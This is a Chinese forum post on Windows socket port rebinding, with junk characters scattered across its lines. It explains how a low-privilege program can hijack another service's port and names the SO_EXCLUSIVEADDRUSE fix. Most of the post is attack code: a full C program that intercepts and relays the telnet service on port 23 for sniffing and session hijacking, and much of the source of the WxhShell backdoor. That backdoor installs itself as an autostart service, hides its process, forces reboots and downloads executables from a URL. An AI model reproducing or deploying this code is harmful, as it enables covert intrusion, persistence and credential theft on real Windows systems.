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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;T"zV{;7BR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #bUXgn>  
2;z b\d  
  saddr.sin_family = AF_INET; "U e. @>  
M$y+q ^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e5*ni/P  
O[I\A[*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k jg~n9#T  
q;R],7Re  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5"CZh.J  
wfNk=)^$  
  这意味着什么?意味着可以进行如下的攻击: y+X2Pl  
]"t@-PFX<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  `7 vHt`  
419x+3>}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q3 u8bx|E  
.LZwuJ^;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SOIHePmwK  
9Xj7~,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?\vh9  
N!ls j \-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q#T/  
d*jMZ%@uS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Jbjmv: db  
v16 JgycM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fuWO*  
|_] Q$q[[%  
  #include X WUWY  
  #include B.dH(um  
  #include ex::m&  
  #include    &X|#R1\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +?:7O=Y  
  int main() zb k q   
  { eCqHvMp  
  WORD wVersionRequested; b\3Oyp>  
  DWORD ret; :<hXH^n  
  WSADATA wsaData; PK{acen  
  BOOL val; <J`0mVOX  
  SOCKADDR_IN saddr; =h0,?]z  
  SOCKADDR_IN scaddr; :+qF8t[L  
  int err; kS_(wp A  
  SOCKET s; x c/}#>ED  
  SOCKET sc; $}) g?Q  
  int caddsize; #:[t^}  
  HANDLE mt; fQi4\m  
  DWORD tid;   Fh`~`eog  
  wVersionRequested = MAKEWORD( 2, 2 ); qAn!RkA  
  err = WSAStartup( wVersionRequested, &wsaData ); VHCK2}ps  
  if ( err != 0 ) { 4kBaB  
  printf("error!WSAStartup failed!\n"); EB2w0a5  
  return -1; `8AR_7i  
  } d/[; `ZD+  
  saddr.sin_family = AF_INET; SZ,YS 4M  
   \#Pfj &*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 In18_ bc  
"JlpU-8[0@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h|,:e;>}  
  saddr.sin_port = htons(23); Xc?&_\. +  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [R=yF ~-  
  { Nv(9N-9r  
  printf("error!socket failed!\n"); 3BtaH#ZY  
  return -1; L3@82yPo!  
  } 5*Y^\N  
  val = TRUE; / c AUl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kQEy#JQmB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _#r+ !e  
  { aX5 z&r:{  
  printf("error!setsockopt failed!\n"); U56G.  
  return -1; {]%0lf:  
  } KY51rw.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (oEC6F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vUohtS*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PE5R7)~A  
nlW +.a[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B56L1^ 7  
  { KX'{[7}m'  
  ret=GetLastError(); W g02 A\  
  printf("error!bind failed!\n"); 3'cE\u  
  return -1; i*/Yz*<  
  } 23RN}LUi  
  listen(s,2); ,*7 (%k^`  
  while(1) ^/\Of{OZ-  
  { p<,*3huj  
  caddsize = sizeof(scaddr); Q9Kve3u-i  
  //接受连接请求 G 8g<>d{j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q|!-0B @  
  if(sc!=INVALID_SOCKET) ZWc]$H?  
  { 0yuS3VY)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); , udTvI  
  if(mt==NULL) G(p`1~xm  
  { i3 6eBjT  
  printf("Thread Creat Failed!\n"); x{n`^;Y1  
  break; _'{_gei_P  
  } glM$R&/  
  } OY;*zk  
  CloseHandle(mt); f !I[>&n  
  } cx&>#8s&  
  closesocket(s); ;7?kl>5]  
  WSACleanup(); ]rWgSID  
  return 0; bpH^:fyLU`  
  }   =5/9%P8j9  
  DWORD WINAPI ClientThread(LPVOID lpParam) kEOS{C%6R  
  { |iE50,  
  SOCKET ss = (SOCKET)lpParam; x:),P-~w  
  SOCKET sc; r:f[mk"-"A  
  unsigned char buf[4096]; QdL`|  
  SOCKADDR_IN saddr; *h!28Ya(~  
  long num; r'^Hg/Jzt  
  DWORD val; \;qW 3~  
  DWORD ret; *>|gxM8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gtk7)Uh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w<Wf?aG  
  saddr.sin_family = AF_INET; wy0tgy(' |  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bM{s T"  
  saddr.sin_port = htons(23); k5:G-BQ:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sz:g,}~h  
  { M+U9R@  
  printf("error!socket failed!\n"); L ^q""[  
  return -1; 5ymk\Lw  
  } [fAV5U  
  val = 100; =Je[c,&j$?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gp>3I!bo[K  
  { p1Jh0o8  
  ret = GetLastError(); U>]$a71  
  return -1; &dM. d!  
  } TW)c#P43K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kW;+|qs^  
  { ii T"5`KY  
  ret = GetLastError(); % tS,}ze  
  return -1; j[`j9mM8  
  } "iy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D{GfL ib"U  
  { tSr8 zAV  
  printf("error!socket connect failed!\n"); &]`(v}`]  
  closesocket(sc); Xe$I7iKD  
  closesocket(ss); t{xf:~B  
  return -1; BXtCSfY $  
  } U#lCj0iUt,  
  while(1) );#JL0I  
  { aI P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Of*Pw[vD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4 {y)TZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R%{<mno/_  
  num = recv(ss,buf,4096,0); Q-_N2W ?  
  if(num>0) &XIt5<$~R  
  send(sc,buf,num,0); /rK}?U  
  else if(num==0) C'9Cr}cZ.  
  break; TrlZ9?3#D  
  num = recv(sc,buf,4096,0); {m4b(t`xw  
  if(num>0) 2;k*@k-t  
  send(ss,buf,num,0); |cK*~  
  else if(num==0) j'Gt&\4  
  break; %RTBV9LIXr  
  } dMh:ulIY>  
  closesocket(ss); `F-/QX[:  
  closesocket(sc); ni.cTOSx  
  return 0 ; 9B{k , 1  
  } c/D+|X*  
<CS(c|7  
<^VJy5>  
========================================================== IdzxS  
F^WP<0C  
下边附上一个代码,,WXhSHELL <f ZyAa3}  
xcd#&  
========================================================== bWH&P/>  
C^O VB-  
#include "stdafx.h" Zq^At+8+  
W<bGDh  
#include <stdio.h> Z?6%;n^ 54  
#include <string.h> N:S/SZI  
#include <windows.h> ( Z619w  
#include <winsock2.h> o2nv+fy W  
#include <winsvc.h> *{YlN}vA  
#include <urlmon.h> >tYm+coS  
/$i.0$L  
#pragma comment (lib, "Ws2_32.lib") 5y d MMb  
#pragma comment (lib, "urlmon.lib") 0pK=o"^?@  
Hkk/xNP  
#define MAX_USER   100 // 最大客户端连接数 <lgYcdJ   
#define BUF_SOCK   200 // sock buffer VF&(8X\   
#define KEY_BUFF   255 // 输入 buffer oQLq&zRH`f  
h`]Iy  
#define REBOOT     0   // 重启 44gPCW,u  
#define SHUTDOWN   1   // 关机 hcgMZT!<5  
*M[?bk~~  
#define DEF_PORT   5000 // 监听端口 fFMlDg[];  
R] vV*  
#define REG_LEN     16   // 注册表键长度 FTX=Wyr  
#define SVC_LEN     80   // NT服务名长度 u#Pa7_zBj]  
%D UH@j  
// 从dll定义API wu7Lk3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]}Mj)J"m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p09HL%~R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bENdMH";  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (lXGmx8  
61Bwb]\f/|  
// wxhshell配置信息 !Xh=k36  
struct WSCFG { XtXEB<4Z  
  int ws_port;         // 监听端口 ,MdV;j ~"'  
  char ws_passstr[REG_LEN]; // 口令 HeK/7IAqp  
  int ws_autoins;       // 安装标记, 1=yes 0=no ls?~+\Jb  
  char ws_regname[REG_LEN]; // 注册表键名 zE336  
  char ws_svcname[REG_LEN]; // 服务名 nii A7Ux  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0m7Y>0wC6T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .\\DKh%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bH-ub2@qO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^7>3a/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N/[p <  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aFc1|.Nm  
dah[:rP,n{  
}; Yw22z #K  
G[B=>Cy  
// default Wxhshell configuration 2`AY~i9  
struct WSCFG wscfg={DEF_PORT,  jPC[_g  
    "xuhuanlingzhe", hv)x=e<  
    1, @:;)~V  
    "Wxhshell", bo<~jb{  
    "Wxhshell", ZWii)0'PV  
            "WxhShell Service", >lmi@UN|k  
    "Wrsky Windows CmdShell Service", =Ee&da^MB  
    "Please Input Your Password: ", 1;d$#j  
  1, E0BMv/r8b  
  "http://www.wrsky.com/wxhshell.exe", pny11C  
  "Wxhshell.exe" zUDg&-J3  
    }; g-qP;vy@"q  
9lTv   
// 消息定义模块 68bQ;Dv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G=)i{oC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ylUb9KusOx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2:*w~|6>}5  
char *msg_ws_ext="\n\rExit."; @(l^]9(V\  
char *msg_ws_end="\n\rQuit."; v.\*./-i  
char *msg_ws_boot="\n\rReboot..."; sD<a+Lw}x  
char *msg_ws_poff="\n\rShutdown..."; fTzvmC:g7  
char *msg_ws_down="\n\rSave to "; oYHj~t  
.\ K_@M  
char *msg_ws_err="\n\rErr!"; K*\' .~[6  
char *msg_ws_ok="\n\rOK!"; w;D+y*2  
?8HHA: GP  
char ExeFile[MAX_PATH]; D>|H 2  
int nUser = 0; p$SX  
HANDLE handles[MAX_USER]; ml2_ ]3j!  
int OsIsNt; jnd[6v=C7-  
&6DMk-  
SERVICE_STATUS       serviceStatus; \%u3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D@C-5rmq  
#1J &7F1  
// 函数声明 vVj  
int Install(void); :s=NUw_^  
int Uninstall(void); %mL-$*  
int DownloadFile(char *sURL, SOCKET wsh); <Q$@r?Mu]  
int Boot(int flag); <wZQc  
void HideProc(void); EQ2#/>  
int GetOsVer(void); YZP(tn  
int Wxhshell(SOCKET wsl); %?LOs H   
void TalkWithClient(void *cs); k $M]3}$U  
int CmdShell(SOCKET sock); 9Kr+\F  
int StartFromService(void); =b38(\  
int StartWxhshell(LPSTR lpCmdLine); KN$}tCU  
Vw[6t>`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $Vsk Ew"|M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FE" y\2}  
c?P?yIz6p  
// 数据结构和表定义 pa#d L!J  
SERVICE_TABLE_ENTRY DispatchTable[] = 33jovK 2  
{ L}GC<D:  
{wscfg.ws_svcname, NTServiceMain}, u?>B)PW  
{NULL, NULL} Rfn9s(m  
}; >tTj[cMJl  
O#&c6MDB:  
// 自我安装 @vpf[j  
int Install(void) OQ8 bI=?[x  
{ 17D"cP  
  char svExeFile[MAX_PATH]; $\b$}wy*  
  HKEY key; CQZgMY1{  
  strcpy(svExeFile,ExeFile); J~%K_~Li  
3VuW#m#j  
// 如果是win9x系统,修改注册表设为自启动 U;bK!&Z  
if(!OsIsNt) { }YjX3|8zL=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x8!ol2\`<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PpV'F[|,r  
  RegCloseKey(key); 6Ztq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IC6gU$e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CL)lq)1(  
  RegCloseKey(key); [(o7$i29|%  
  return 0; h8 'v d3  
    } ex+\nD>t4  
  } 2LNRtW*  
} FvN<<&B  
else { T_X6Ulp  
o8zy^zN$6  
// 如果是NT以上系统,安装为系统服务 I6j$X6u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /D5`   
if (schSCManager!=0) 76wc,+  
{ L,SGT8lL  
  SC_HANDLE schService = CreateService ?s\ OUr  
  ( YhbZ'SJ  
  schSCManager, BJgW,huLy  
  wscfg.ws_svcname, ZeUvyIG  
  wscfg.ws_svcdisp, !iH-#B-  
  SERVICE_ALL_ACCESS, {n/uh0>f*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8i|w(5m;  
  SERVICE_AUTO_START, 4 SHU  
  SERVICE_ERROR_NORMAL, A 6OGs/:&  
  svExeFile, .~Fp)O:!  
  NULL, ^ "i l}8`  
  NULL, .fN"@l  
  NULL, QYa(N[~a  
  NULL, smdZxFl  
  NULL XO-Prs  
  ); TT50(_8  
  if (schService!=0) Ct2j ZqCDo  
  { TpmwD{c[\  
  CloseServiceHandle(schService); 1BAgtd$3  
  CloseServiceHandle(schSCManager); ( {1e%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AS E91T~  
  strcat(svExeFile,wscfg.ws_svcname); r|PFw6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w?zKjqza=v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u5 {JQO  
  RegCloseKey(key); rgSOS-ox  
  return 0; 5k6mmiaKk  
    } %FS$zOsgGK  
  } rj6tZJZ#o0  
  CloseServiceHandle(schSCManager); >$ NDv  
} q(zJ%Gv)  
} Ypeiy `.  
A#nun  
return 1; fwrJ!j  
} R)M_|ca  
d"5oD@JG:  
// 自我卸载 ({-GOw46  
int Uninstall(void) s[K^9wz  
{ VA"*6F   
  HKEY key; :l2g#* c  
Rw6; Z  
if(!OsIsNt) { &?uz`pv2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ybeKiv9  
  RegDeleteValue(key,wscfg.ws_regname); J[A14z]#`  
  RegCloseKey(key); &K43x&mFF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j:}J}P  
  RegDeleteValue(key,wscfg.ws_regname); _(d.!qGz  
  RegCloseKey(key); P+!"wX0*N  
  return 0; -pU|hSW*b  
  } P7 ]z  
} 'Q =7/dY3I  
} 7}GK%H-u  
else { WYIQE$SEv  
277ASCWLkU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~%/Wupf  
if (schSCManager!=0) ?9HhG?_x  
{ E]J:~H'Er  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &n[~!%(  
  if (schService!=0) Z1ALq5  
  { iweD @b  
  if(DeleteService(schService)!=0) { G/d4f?RU  
  CloseServiceHandle(schService); qC_mu)6  
  CloseServiceHandle(schSCManager); zOHypazOTq  
  return 0; ~ ^>417>  
  } p1D[YeF4  
  CloseServiceHandle(schService); c{>uqPTY  
  } fQ'.8'>T  
  CloseServiceHandle(schSCManager); f`8OM}un&  
} KQld YA|m  
} ? b[n|^wS  
-ZW3  
return 1; aup6?'G;  
} EQIUSh)M  
RGIoI ]_  
// 从指定url下载文件 Z?NEO>h7  
int DownloadFile(char *sURL, SOCKET wsh) Jz:r7w{4eB  
{ -h-oMqgu(  
  HRESULT hr; {SZ% Xbo  
char seps[]= "/"; Fl{WAg  
char *token; 3ta$L"a  
char *file; :%JC^dV(  
char myURL[MAX_PATH]; joa5|t!D9  
char myFILE[MAX_PATH]; 8ga_pNe  
CKlL~f EL  
strcpy(myURL,sURL); BHj\G7,S  
  token=strtok(myURL,seps); y^Vw`-e  
  while(token!=NULL) t` 8!AhOgc  
  { W~ULc 9  
    file=token; sT1&e5`W  
  token=strtok(NULL,seps); %8)W0WMe  
  } G{x[uE2X&f  
Y&*x4&Lb  
GetCurrentDirectory(MAX_PATH,myFILE); gVU1Y6.  
strcat(myFILE, "\\"); P2 0|RvE  
strcat(myFILE, file); 6+dn*_[Z6  
  send(wsh,myFILE,strlen(myFILE),0); ( 0Naf  
send(wsh,"...",3,0); LS.r%:$mb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E-ZRG!)[v  
  if(hr==S_OK) Ep~wWQh  
return 0; kw,$NK'  
else >qn/<??  
return 1; 2GWDEgI1o  
!q4x~G0d  
} Q;h3v1GC\P  
F9XT lA  
// 系统电源模块 DFe;4BdC  
int Boot(int flag) jN/C'\Q L  
{ $_j1kx$  
  HANDLE hToken; uCzii o`S  
  TOKEN_PRIVILEGES tkp; \ Aq;Q?  
!0 Q8iW:  
  if(OsIsNt) { *]s&8/Gmb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h3Fo-]0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |$hgT K[L  
    tkp.PrivilegeCount = 1; (U87}}/l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; noA-)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L2-^! '  
if(flag==REBOOT) { *+lsZ8'^C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ilEi")b=  
  return 0; 5)+F(  
} FWPW/oC  
else { zTCP )x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }++5_Z_  
  return 0; X<MpN5%|Wo  
} t 6u-G+}  
  } C ?H{CP  
  else { oL *n>dH  
if(flag==REBOOT) { )&Z>@S^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pZ+j[!  
  return 0; Qp:6= o0:  
} EI`vVI  
else { UR>_)*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W\ULUK  
  return 0; zS% m_,t  
} sQk|I x  
} (5Ky6b9v  
jmW^`%;7  
return 1; -qn[HXq  
} Oje|bxQ  
-h\@RC  
// win9x进程隐藏模块 _Y YP4lEL  
void HideProc(void) Xu<FDjr  
{  [y{E  
Z>{*ISvpq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZDlu1>Q  
  if ( hKernel != NULL ) T0L+z/N_m.  
  { ggCr-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sQ(1/"gb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vb}/@F,Q5  
    FreeLibrary(hKernel); fu>Qi)@6a1  
  } 7&t~R}&|  
OPJgIU%  
return; F^TAd  
} T+W3_xISX  
DB Xm  
// 获取操作系统版本 b3^R,6]x&  
int GetOsVer(void) QJM(UfHUD  
{ ftW{C1,U7  
  OSVERSIONINFO winfo; zg0%>iqO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 77_g}N  
  GetVersionEx(&winfo); T+BIy|O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Q*-g}wXfS  
  return 1; x?>!UqgkY  
  else KQW!\y?$"  
  return 0; oYg/*k7EDX  
} (l;C%O7*  
iiehrK&T !  
// 客户端句柄模块 _}z_yu#jY  
int Wxhshell(SOCKET wsl) wV %8v\  
{ `&G}  
  SOCKET wsh; 9M0d+:YJ  
  struct sockaddr_in client; >EeAPO4  
  DWORD myID; rN'.&;Y5  
IF$^ 0q  
  while(nUser<MAX_USER) _H/67dcz,  
{ I4CHfs"ar  
  int nSize=sizeof(client); E.U0qK],  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $ #t|(\  
  if(wsh==INVALID_SOCKET) return 1; 7rJ9 }/<I  
6HB]T)n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JgxA^>|9;  
if(handles[nUser]==0) &,_?>.\[<  
  closesocket(wsh); t{[gKV-b  
else o9~h%&  
  nUser++; Qh 1q  
  } <XY;fhnB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A/ hpY a  
olHH9R9:  
  return 0; rSzQUn<  
} } =xI3;7  
@yCW8]  
// 关闭 socket zL6 \p)y  
void CloseIt(SOCKET wsh) A4}JZi6@  
{ Vx}Yl&*D  
closesocket(wsh); [U% .Gi  
nUser--; X9DM ^tt  
ExitThread(0); \}U[}5Pk&  
} JgxE|#*7U  
]VzqQ=U%  
// 客户端请求句柄 xcAF  
void TalkWithClient(void *cs) Kp$_0  
{ 0,;E.Py?.  
3$MYS^D  
  SOCKET wsh=(SOCKET)cs; M" xZz  
  char pwd[SVC_LEN]; AlA h S<  
  char cmd[KEY_BUFF]; |E"Xavi>  
char chr[1]; 7W6eiUI'  
int i,j; kQqBHA  
"sz.v<F0:s  
  while (nUser < MAX_USER) { J(3gT }z-  
L7i}Ga!8  
if(wscfg.ws_passstr) { <Gbn PG?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uWJ#+XK.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L"Qh_+   
  //ZeroMemory(pwd,KEY_BUFF); L$oia)%t-  
      i=0; [u`17hyX  
  while(i<SVC_LEN) { &CB.*\0  
icKg7-$N  
  // 设置超时 x>1iIpBv^  
  fd_set FdRead; -13P 2<i+  
  struct timeval TimeOut; 0U>t>&,"  
  FD_ZERO(&FdRead); >z fq*_  
  FD_SET(wsh,&FdRead); Sleu#]-  
  TimeOut.tv_sec=8; xA[Wb'  
  TimeOut.tv_usec=0; 0)6i~MglY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3*X, {%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )vEHLp.  
+ d+hvwEM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); []2$rJZD9  
  pwd=chr[0]; 2$j Ot}  
  if(chr[0]==0xd || chr[0]==0xa) { v&[X&Hu[  
  pwd=0; SIaUrC  
  break; LK   
  }  c{f:5 p  
  i++; o+"0.B  
    } `wn<3#  
B"?+5A7  
  // 如果是非法用户,关闭 socket &6,Yjs:T m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?[hy|r6$  
} `Q1WVd29  
dIBKE0`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Th& Wq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r {/ G\  
ABq{<2iYN  
while(1) { M<#)D  
v3hQv)j)  
  ZeroMemory(cmd,KEY_BUFF); U'Ja\Ek/f  
I\Gp9w0f  
      // 自动支持客户端 telnet标准   9A* ?E  
  j=0; 5Sm5jRr  
  while(j<KEY_BUFF) {  ^ :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bp$+ F/  
  cmd[j]=chr[0]; 8f{}ce'E*  
  if(chr[0]==0xa || chr[0]==0xd) { kYI(<oTY~  
  cmd[j]=0; qUDz(bFk/  
  break; }`<>$2b  
  } 9pl_V WrQ  
  j++; d=4f`q0k  
    } Vk N[=0a,  
aCH:#|B  
  // 下载文件 VM2@{V/=~  
  if(strstr(cmd,"http://")) { &JXHDpd$a^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S$lmEJ_  
  if(DownloadFile(cmd,wsh)) \yX !P1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _r?;lnWx@  
  else u7Y'3x,`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fN"oa>X  
  } [K)1!KK,L  
  else { io+7{B=u$  
-t~B@%  
    switch(cmd[0]) { WRcFE<  
  @)2V"FE4i  
  // 帮助 yd2qf  
  case '?': { P8,{k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6U>jU[/  
    break; CF}Nom)  
  } \2<yZCn  
  // 安装 @aD~YtL"n  
  case 'i': { ^9*|_\3N  
    if(Install()) ;&^"q{m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }AsF\W+5  
    else V\M!]Nnxr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <]e;tF)+  
    break; ;~Gpw/]5E  
    } zs&`:  
  // 卸载 5G ]#yb74  
  case 'r': { ~"r wP=<}  
    if(Uninstall()) K!: ,l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Ub?eJp  
    else 8rG&CxI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qQ DFg`  
    break; ;=9v mQA  
    } K<L%@[gi  
  // 显示 wxhshell 所在路径 sV'.Bomq  
  case 'p': { ]o+|jgkt]  
    char svExeFile[MAX_PATH]; &N7:k+E  
    strcpy(svExeFile,"\n\r"); ^R'!\m|FR  
      strcat(svExeFile,ExeFile); cKYvRe  
        send(wsh,svExeFile,strlen(svExeFile),0); 0l1]QD+Gc5  
    break; IM5^E#-g7  
    } @1ta`7#  
  // 重启 qCkg\)Ks5I  
  case 'b': { }NBJ T4R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KW6" +,Th  
    if(Boot(REBOOT)) Sd{"A0[A|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hic$13KuP  
    else { UuqnL{  
    closesocket(wsh); ?{z$ { bD  
    ExitThread(0); c3!|h1h/v  
    } z%dlajY m:  
    break; LLHOWD C(2  
    } / bu<,o  
  // 关机 wG?kcfu  
  case 'd': { x-#9i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pbvEIa-Y4  
